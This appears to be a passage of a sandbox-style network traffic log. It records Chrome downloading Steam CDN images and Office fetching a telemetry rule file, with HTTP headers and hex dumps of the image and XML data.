01 5d 01 62 0e 13 ec 5e 97 d9 db dd f5 64 7b e3 22 e4 d4 65 00 31 02 e0 be 8b cf 5b c7 e1 fd 75 fc fc 84 ae f6 9d 6d 80 af 22 01 5b e0 a2 82 55 4b a1 ab de 38 2d 95 27 ce 0e ce 1a b7 02 23 13 5a 68 2b 49 Data Ascii: w[9i\|T9xUuij\|:aT))6"8;8sI'S!NG"^M]0UrS6 =GHI&q6d\|'8=\|fOh2tuM:[8u.\|]b^d{"e1[um"[UK8-'#Zh+I
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 25 47 68 30 2b 55 46 d0 6d 41 3e 20 60 ff 07 ea ea 3e cc 21 38 05 a9 97 be 9f cc d1 45 1d ae 08 c0 96 4a 74 19 00 62 ef 94 da 27 40 d6 31 e2 66 fe 21 c0 9c 1b 5f 49 bc ec 9f 00 8f 84 e8 3e 5b 5b d3 83 b8 ab 96 9f fc 6f a5 19 a4 1c 5a 14 49 9c 8c 04 38 7f f7 44 8c 0f e6 9d 7a 97 b8 72 60 da 09 5d 6e 02 56 ce 77 34 75 34 62 44 03 db bf ee 7e 12 a1 d1 dd 88 f7 8e f0 d8 f8 a9 09 e3 f6 f7 d3 31 1f 05 2a 9d f0 a9 d3 96 e8 8c 9e 24 c4 b5 02 04 8a ac 52 9a 45 49 65 33 b1 b0 bc e7 02 0a b4 5c e0 63 11 3b 88 17 ea 1c 9b c8 ba aa cf f3 7a bd 49 4a b9 75 9b e2 5e 15 e8 63 f7 58 11 73 77 60 5b 39 44 5d d0 3a 74 67 3c f8 2e c4 bd 04 28 bf c0 bb 78 9d 60 7e 25 a2 09 d4 63 16 d5 3d 56 67 e4 32 39 d9 24 fb 50 ed 8d 0d ee 1a c2 f6 c4 34 7b fb fb fe aa ae d6 24 a6 54 ef e1 Data Ascii: %Gh0+UFmA> `>!8EJtb'@1f!_I>[[oZI8Dzr`]nVw4u4bD~1*$REIe3\c;zIJu^cXsw`[9D]:tg<.(x`~%c=Vg29$P4{$T
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 55 e7 cc 6e ee 3d 06 5c a6 21 0a 81 5a 63 e3 9d 18 97 ce c8 a6 49 61 4a ee 76 c1 d5 39 b6 32 cd 7d b0 24 33 01 a0 4f 47 2a 12 f7 0c 20 eb 2e 49 5a 93 3b d7 e5 e6 f4 93 91 82 e4 c0 fe 54 95 5d 25 c9 a9 15 72 2a 3a d8 05 82 e9 f7 74 73 82 df 45 2e 0c 71 36 23 f8 7b f7 33 6e 96 1e 26 81 ec dc 7b 6a c7 98 68 1e 74 41 fb 7e 63 df 24 fb 28 fd bc 11 c6 9c 1d 7e 67 3a a2 e7 48 99 27 96 f5 08 62 50 65 e3 e7 08 02 76 7e 56 cf e1 04 4f 6e 0c 24 21 8e 93 31 2d b5 c7 ce 4e e0 0e f9 bf a0 45 15 81 5c 54 d7 bd 6b 55 05 7e 82 5b fc b2 ce 06 26 de 9f 8c c3 01 bc f2 be 0f 90 7c 02 c4 ca 7d 83 91 21 83 e4 c3 5b ac 2b 8b a9 95 06 85 23 b4 9c b0 6c 95 8f 4d 41 be 57 dd 31 8c f0 3c 89 a8 a4 e3 33 71 99 61 16 ac 2c 17 1a c8 f4 1c d2 f3 30 21 db c5 f5 fc 8f 39 c6 fe 45 13 02 cd Data Ascii: Un=\!ZcIaJv92}$3OG* .IZ;T]%r*:tsE.q6#{3n&{jhtA~c$(~g:H'bPev~VOn$!1-NE\TkU~[&\|}![+#lMAW1<3qa,0!9E
2024-10-06 11:20:59 UTC	7952	IN	Data Raw: 40 de 4c df 28 50 5e f9 89 01 9d 02 a8 30 87 2b aa 9f f9 37 41 7c e5 11 54 2b 5c 13 c5 1e ab 80 2a 04 ee ca 4e f5 19 a0 ad 8a 01 b0 43 42 96 06 7f 04 ed 9d 10 0d 99 96 86 1a d3 47 32 c4 c1 6c ac 3d 59 e4 82 33 e6 15 26 d9 05 e6 6b c5 bb ae 7c 0e 16 55 8e 7f 71 ca 48 42 a9 28 67 e7 be 2a 45 44 e2 89 6e 80 81 4a 1c f2 6e 06 57 85 b0 b0 b6 86 e1 80 57 25 0c 2b 07 52 d5 b6 65 20 6e 14 5f ec 26 41 72 1c 34 5b 01 80 81 5c dc 52 01 e7 1d 3c 92 42 f5 db 36 00 e0 00 2f 19 34 5e 73 83 56 f3 ad 36 9d 2c b5 a4 27 cc 6b 24 a4 46 4b de 81 22 02 54 89 49 f6 b9 1d b9 d6 c5 a8 1d 02 31 76 94 f8 a4 aa 00 11 82 1c 53 64 06 7b 6f 01 af 52 02 4e cc 7f 46 24 74 e8 72 3e 30 36 91 99 36 cc 54 7d b8 53 e8 af 3d 69 ad fc 48 a2 24 1b 23 01 2f 45 ee bb 03 06 18 eb b0 53 1e 6e d9 b2 Data Ascii: @L(P^0+7A\|T+\NCBG2l=Y3&k\|UqHB(gEDnJnWW%+Re n_&Ar4[\R<B6/4^sV6,'k$FK"TI1vSd{oRNF$tr>066T}S=iH$#/ESn
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 27 aa 3a ee c0 7d 42 50 cb 96 2d fb 1a e0 7b 76 7e ff d4 68 89 cf 4e 31 74 09 91 80 af 65 70 66 9d 76 aa a4 41 e0 81 ca e7 62 d1 bd ea ef aa ca 44 33 f7 39 47 0b 22 f3 f9 d9 21 66 47 9e 3e 3f 96 11 ad fc bd 6e 80 eb 1d fc 00 20 04 a1 00 e8 14 6e 14 df 53 7a 0d 8a e0 98 c1 09 3d c1 ed 48 70 ee 78 68 dd 08 c6 61 f8 b0 8a ce fe ef 7b 2f 8f 44 51 b8 0b c5 4c 3d db 66 80 8c 59 46 cd 59 dc 9b c9 20 b2 72 9b 00 d7 88 60 e2 94 2a f5 62 8c 42 08 e4 15 1c d8 f5 43 b4 9b f5 e7 a8 fb 10 09 d0 ee a4 bf 8e 03 68 24 2f d8 00 cf c4 10 fb 81 a4 d8 8a fb 28 12 06 e0 39 56 1d 3c d2 83 6d ee 1d ef 6b 0f 8f 8b 59 47 5d 06 73 ec 67 25 48 b3 0b d0 d2 0d f6 33 c4 78 02 b9 96 9b a3 a8 c0 d4 ac d3 70 05 50 5f 39 71 70 ae fd 4c a7 ae e1 1c 69 b4 ec 6b 03 08 b7 b6 7b e6 30 54 c2 ca Data Ascii: ':}BP-{v~hN1tepfvAbD39G"!fG>?n nSz=Hpxha{/DQL=fYFY r`*bBCh$/(9V<mkYG]sg%H3xpP_9qpLik{0T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49818	2.19.126.89	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	443	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	16137	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: b4 d5 a7 61 f7 81 b7 30 34 36 ca ad f1 49 02 87 85 4d 41 24 54 3b 1e 78 e4 31 54 11 28 bb a3 f3 e0 a8 9d 87 38 29 e9 57 f6 be 89 aa e6 36 04 e8 1c b3 de 08 3a 96 d6 41 a1 eb 5d 20 eb db eb f5 21 e4 f5 a2 ca 99 c3 20 b1 9b 94 90 c2 09 ad 76 a4 46 1d 98 9a 24 05 4d 0f 60 17 dd 6b d2 c7 78 a9 3f 89 51 78 91 a7 ed 67 27 26 30 34 34 85 70 24 88 1a 7f 1e d3 d3 02 06 87 13 d8 ff d6 18 46 c7 32 58 7f f5 7c 54 b7 06 10 9b c8 20 97 29 72 25 af f2 58 9d 05 1e bb 1f 07 87 77 e3 9e 97 be 89 b3 17 5d 8e f9 f5 cb 88 05 d8 d0 3f d9 8b 78 76 0a 07 06 76 e3 2f 7b 1e c5 44 7c 0c d5 de 3a ce 24 54 a5 dc f5 57 41 b9 2d bf e6 9d 52 78 b0 bc 50 d4 dc 57 4a 51 2e 35 c8 14 f4 fd b2 d4 61 e6 c2 ca 13 48 84 3c 61 5a 22 74 5d 36 63 51 f3 12 1e 50 67 20 71 d6 8a 73 51 1b ac 25 e6 34 Data Ascii: a046IMA$T;x1T(8)W6:A] ! vF$M`kx?Qxg'&044p$F2X\|T )r%Xw]?xvv/{D\|:$TWA-RxPWJQ.5aH<aZ"t]6cQPg qsQ%4
2024-10-06 11:20:59 UTC	2601	IN	Data Raw: 4c 61 98 15 1a b0 30 58 b1 5c e0 b2 26 66 8b 85 bf d5 1b e4 14 e0 b0 5b 21 55 64 72 76 05 ae 57 55 1d 91 fc 56 fa 22 b6 21 10 d3 24 db c6 14 b3 54 03 79 f0 d6 72 a9 e4 cf 65 b3 1d d9 5c a6 27 9b c9 ac ca e5 b2 6b 0a f9 ec ea 58 2c de 71 ce 55 ef c6 d5 d7 5c 8e f9 a2 03 7b f7 1f c2 fd f7 fc 10 46 32 bc 96 8a 13 f9 6c 0e e1 58 04 91 b9 19 c4 66 46 a1 92 93 c5 b4 23 18 eb 7b f5 c5 67 71 df 7d f7 e2 f6 ff f7 45 5c 73 ed d5 3c 64 7c ca e6 13 e1 0b 06 61 22 46 3b 30 70 00 dd dd 3d 04 2a 6b f0 ea 8e 1d 04 0c 66 ac 5f 7f 22 96 2f eb c1 d0 d1 a3 b8 e2 5d ef c6 4f 7f fc 63 7c ff 47 3f a1 b5 db c3 15 b3 35 8d 1b bd dc 9a cd 55 21 76 61 64 95 7f 25 72 10 b2 31 c4 92 b3 c8 1b fc b8 eb db 49 5c fd fe 3f c6 9a 0b 2f c7 c2 cf ee d0 b4 d1 e8 7e b3 ea 30 4d 68 d2 a0 29 1e Data Ascii: La0X\&f[!UdrvWUV"!$Tyre\'kX,qU\{F2lXfF#{gq}E\s<d\|a"F;0p=*kf_"/]Oc\|G?5U!vad%r1I\?/~0Mh)
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 6a 68 3c 87 12 19 4a a7 d5 02 8b c8 ca 66 ed b0 db 4a 38 38 2c c3 40 9b 2c 95 8b c0 6b eb c6 86 36 3b 9e 3e 38 03 99 56 96 95 36 94 54 34 a0 c9 ef 45 78 6a 12 37 fd f1 d5 d8 f7 ca 6e cc ce cc e3 1d 6f 5f 8b ac 5c 84 cf ed 46 4f 77 2b f2 e9 32 a6 c7 67 08 e4 cc 18 19 5b a0 c7 14 24 a6 c7 31 53 64 1a fa 59 78 2d 2a 66 8f 8e c2 2f 56 78 49 ef ec 9e a7 91 9e 9d c3 e2 d4 22 1c 82 8c 7d fb 67 10 cf d9 f0 f8 6b 49 9c 7a f2 49 48 db 2d b0 76 ab f0 bb dc 4c 8e 9e ae 21 ab f0 21 6f 7b 6a 02 33 b3 f4 7b d9 0a 13 fd 3d 97 25 06 56 aa 68 c0 a2 37 7e 49 06 13 df 5c 66 8b 89 e7 4d 58 65 6c 21 2f 73 40 61 40 23 89 7a af 02 9f 22 68 e0 a1 12 a6 72 cb 3a b0 25 de 13 53 e1 fd 2a e5 4a 11 e9 54 f4 3c 8f af b9 b3 52 2e 4d b2 26 4a 76 5f ff f3 eb 06 3c 71 ae 92 eb 2c d1 2f 92 Data Ascii: jh<JfJ88,@,k6;>8V6T4Exj7no_\FOw+2g[$1SdYx-f/VxI"}gkIzIH-vL!!o{j3{=%Vh7~I\fMXel!/s@a@#z"hr:%SJT<R.M&Jv_<q,/
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: ea bc 55 5b 04 6d 7f 02 31 ba 9f 0a ab 6b 46 23 3a 85 bf 42 9b ae 52 d4 aa 8b 62 03 a1 77 06 b2 52 68 41 9d 66 f0 0b 08 45 8f 42 e4 02 aa d0 bf 4f 4e 82 58 47 0f a2 e8 3f 5f 43 24 aa 4f 2a a4 bf 14 59 29 a4 d9 94 69 9f 99 4f e1 22 ef fd 24 45 c9 23 93 5c eb ab 3c 2d 35 97 9b 12 57 b4 02 7a 5e 93 84 1b 13 0c 39 65 d0 dc e7 48 f9 94 a8 b8 7a 59 59 ab 41 e6 1a 9e a4 22 e1 2b 71 bc 72 96 d6 ba 11 67 35 d7 8b ef 23 14 54 70 9a 75 79 43 25 ca 4b ec 58 dd de 82 83 c3 7d 38 3a 32 89 15 ad 6d 98 51 5f 25 54 50 e7 77 36 62 26 21 c6 f8 e0 18 0e 12 02 e7 86 02 e6 d2 63 bd a4 21 99 02 1d 56 e3 a4 7d 95 60 81 b0 92 08 32 eb d7 23 f6 2f b7 c1 7c fb 57 91 dd ba 09 72 ef 31 98 3e 72 0b e4 a3 7d 90 f7 1d 84 61 d9 12 c8 87 8e 12 94 a5 00 29 26 c3 51 56 02 e5 8d b5 90 f7 ee Data Ascii: U[m1kF#:BRbwRhAfEBONXG?_C$O*Y)iO"$E#\<-5Wz^9eHzYYA"+qrg5#TpuyC%KX}8:2mQ_%TPw6b&!c!V}`2#/\|Wr1>r}a)&QV
2024-10-06 11:20:59 UTC	7952	IN	Data Raw: c6 d7 7f f5 3c d6 ec 1a c5 82 e9 21 61 33 7c be 54 a3 07 46 35 64 de b9 8f e3 a0 80 85 22 86 8c b7 59 17 f6 e2 9a 8f 9f 85 eb 6e 5b 2f b3 5e 3a 4e 9e 86 4f ff cb 0a c1 8e 34 5d ff 1a 62 42 5c 60 70 f7 e3 bb e1 76 2a 30 fd 71 15 e6 68 65 9b 7e 7c aa 31 95 45 00 a6 74 da f4 ea 35 3a 90 35 6b d7 21 16 8b cb eb 36 9b a5 f7 51 9d 10 7e 34 d6 17 7b ef cc 18 79 e6 bd 4d a1 0b 2e 7d 46 0e 7a c5 85 87 36 ef c3 03 1b 77 22 95 cb 03 bf bd fd d8 0c 92 c3 4f 46 bd 9a b6 95 43 3a 3d 74 d8 04 3a b3 be a2 a9 82 cc a5 02 46 d3 aa b9 d3 b1 78 0c 77 dc 79 17 b6 6f df 51 02 5b 06 96 1a 02 87 ea aa 1a da 65 87 a8 50 33 b3 f0 78 f4 07 cf 8b 61 e6 67 b3 d9 4b 77 25 57 ca 8d 47 22 48 24 e2 88 8c 8f c9 bf 33 99 14 36 6d ca d3 6b 8a 24 f2 81 74 c5 fe 45 e3 e3 e0 d3 f4 d4 d3 4f e9 Data Ascii: <!a3\|TF5d"Yn[/^:NO4]bB\`pv*0qhe~\|1Et5:5k!6Q~4{yM.}Fz6w"OFC:=t:FxwyoQ[eP3xagKw%WG"H$36mk$tEO
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: c7 f7 1d 87 ab b9 f2 8c c7 1e fb 02 35 38 91 7f 1c 50 8b 53 03 8f a3 cc 3d 99 7a b8 6a 62 9e 43 9b 52 21 c0 cb 06 1c 47 89 b5 71 05 c9 8a 85 33 b0 e1 e9 47 09 0c da 89 7e 6f c3 be fd 07 30 d4 37 8c aa fa 3a 61 18 ac bc ca 15 56 33 ea 5a 70 60 ff 0e 24 e3 7a b5 8c 9f e7 35 84 c3 88 a5 92 64 fc f5 a6 2c d6 42 92 92 58 0e 27 b0 62 ab 8c 7d d5 43 1d 0e 73 34 2c 5d 23 96 f3 e6 f0 9a 84 37 58 1f 8c c7 d2 d2 82 36 c3 26 36 69 e6 72 ca 77 15 0b 9a c8 8a 17 b2 79 29 15 75 38 3d 32 d3 22 57 cc 18 12 1d aa 25 39 5c 14 29 14 0e cf d4 d7 10 0b f3 39 90 22 b6 c1 92 2d 3c db c5 e7 a2 ef 14 c3 a3 21 1c 08 a2 2a 10 14 31 45 66 2b dc c5 2c 63 6c 69 ff 82 e1 2a 02 93 10 ba ba fa 89 9d a5 10 f4 79 44 ab 89 c7 f1 46 c6 46 31 76 70 b7 dc 5c c9 02 0b 29 26 60 f7 d5 c2 df 7e 96 Data Ascii: 58PS=zjbCR!Gq3G~o07:aV3Zp`$z5d,BX'b}Cs4,]#7X6&6irwy)u8=2"W%9\)9"-<!1Ef+,cliyDFF1vp\)&`~
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: 1d 8b bf 5a ea a1 a3 85 1e 47 cb b4 b9 1c 0c e3 29 a9 a9 f0 b5 b7 56 13 b5 17 70 c1 92 a3 0a 61 85 0f 99 3e 66 34 68 e1 66 f2 11 6f af 41 bf d7 4f 80 eb e0 40 cc c2 45 1a b5 8a 8b fa e5 de ce 4a 88 8d 56 33 d7 82 7a f1 c1 67 f1 a2 48 46 4e 60 f2 f0 29 fc eb a1 bf e3 c2 73 4e 46 55 b9 87 56 8e 81 6f 50 26 65 0e 45 aa 4a 2c 12 9b 54 78 fd b9 c2 89 9c ff 2c bf 61 de ec c9 b8 e7 df 4f a0 ae ae 9c c8 93 99 3f 2c c4 5e 7e 75 eb 5d f8 fb 5f 1f 80 a9 d2 0d 0f 6d fa d3 8e 3f 9c bf fe f9 57 de 46 fb fa f7 a0 75 4e e1 4d 6e 19 4b 0d 56 ac 5c 8b bd c4 4c d5 1a 2d 1a 1a aa 60 e4 39 28 96 d8 b5 e1 ad 35 1b 71 ca d7 ae c1 c0 80 0f 83 e1 10 ec d5 65 52 28 50 ae de 32 db ad d8 be ab 13 eb d7 6f 93 62 fc 04 ba 12 a3 53 54 ed 1c 8c 41 67 b2 df 22 8d eb 65 d7 4c c7 85 0d b5 Data Ascii: ZG)Vpa>f4hfoAO@EJV3zgHFN`)sNFUVoP&eEJ,Tx,aO?,^~u]_m?WFuNMnKV\L-`9(5qeR(P2obSTAg"eL
2024-10-06 11:20:59 UTC	7952	IN	Data Raw: 42 46 9b 98 00 0b 09 4b 64 a0 2d aa 08 c9 2c 63 44 5d 31 3a da 3a 61 48 59 21 59 54 84 08 91 b2 a1 3c 1a 1b 5b 30 be 3e 8e 58 32 81 68 38 89 12 d9 07 9b 32 02 01 c5 84 68 2c 44 cc c1 83 ae f6 1c 3a bb d2 b0 1a 9a e0 f1 b9 61 71 78 b8 64 8b 40 ec 21 4f 6c 4d 51 9d c8 e5 7d 74 de 63 c8 7b 37 a2 c8 65 46 c5 28 13 2f 9d 66 8a e4 06 9e 47 55 b0 92 9e c3 00 82 95 6c b3 52 66 95 55 c3 e5 89 4d 31 61 59 51 86 a8 8b aa f1 7e 0f 16 36 64 8c 4f a6 c7 1a e9 be 70 2a 8f 71 7e 11 c5 56 15 0d 01 76 cd f2 30 d3 fb 73 e4 45 94 7a 8c 70 54 4b 58 d0 10 a6 fb 4d 3b 67 57 15 40 25 b3 b9 15 81 67 9e e6 b2 2d 3b e3 4b 1a bc d9 7e 48 60 31 74 c0 d0 be f5 ce 2d 84 a8 fa 12 ea 03 72 ea 82 3e 94 2c 9e d5 70 e3 cd 77 62 ef 17 1e c4 c3 f7 dd 8e 51 f5 f5 b8 ff a1 c7 f0 f2 13 0f b1 ec Data Ascii: BFKd-,cD]1::aHY!YT<[0>X2h82h,D:aqxd@!OlMQ}tc{7eF(/fGUlRfUM1aYQ~6dOp*q~Vv0sEzpTKXM;gW@%g-;K~H`1t-r>,pwbQ
2024-10-06 11:20:59 UTC	16384	IN	Data Raw: f5 b6 07 f1 ef 47 5f e0 67 db 4c 46 f2 a1 fb 6f 42 79 79 19 f6 db 67 0f 02 a6 6e 58 e9 bc 7f 79 d1 a9 78 fd b1 59 38 f6 b0 fd f1 c7 3f fd 93 77 f8 b2 26 b0 bf fd e3 49 dc fc 9b 0b f1 f3 9f 9e 8f f3 7e f3 1b 44 13 69 9c fa e3 33 70 df 23 8f a0 7e 54 3d 4f 8c 8a f4 d8 f9 ef 2f c0 5f ee 7b 12 8b e6 fe 07 0f fc e7 65 dc 7a e7 23 50 89 cd b0 eb c4 80 b2 b4 62 2c a6 4d 9d c8 07 91 4d 3b fe 30 fc fd d6 ab 50 5e b7 3f d6 af 99 8f ca 22 5d 7d 99 cd cb 20 1f 0e 6e a7 1d 7e 9f 1b 1d a1 18 ca 8a 7c 10 7a 9a f1 8f 47 9f c5 bd 7f b8 0a 2d 04 56 cf bc 3a 17 6f bf fa 36 9c 45 64 c4 b4 3c ce bf e0 3a 5c 41 40 69 77 ba f0 e7 73 6e 40 de e1 c5 c9 e7 5d 8b 75 8d cd 70 54 d5 e2 f4 73 ae 42 67 28 00 9b db ca c1 7a fd a6 cd b8 e9 e6 bb 20 b1 a1 53 ac fc 94 40 9a 85 5c 96 7c f8 Data Ascii: G_gLFoByygnXyxY8?w&I~Di3p#~T=O/_{ez#Pb,MM;0P^?"]} n~\|zG-V:o6Ed<:\A@iwsn@]upTsBg(z S@\\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49819	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	375	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49820	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	389	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:59 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-d54" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:59 GMT Connection: close
2024-10-06 11:20:59 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112100Z-1657d5bbd48sdh4cyzadbb374800000001n000000000fds2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49822	13.107.246.45	443

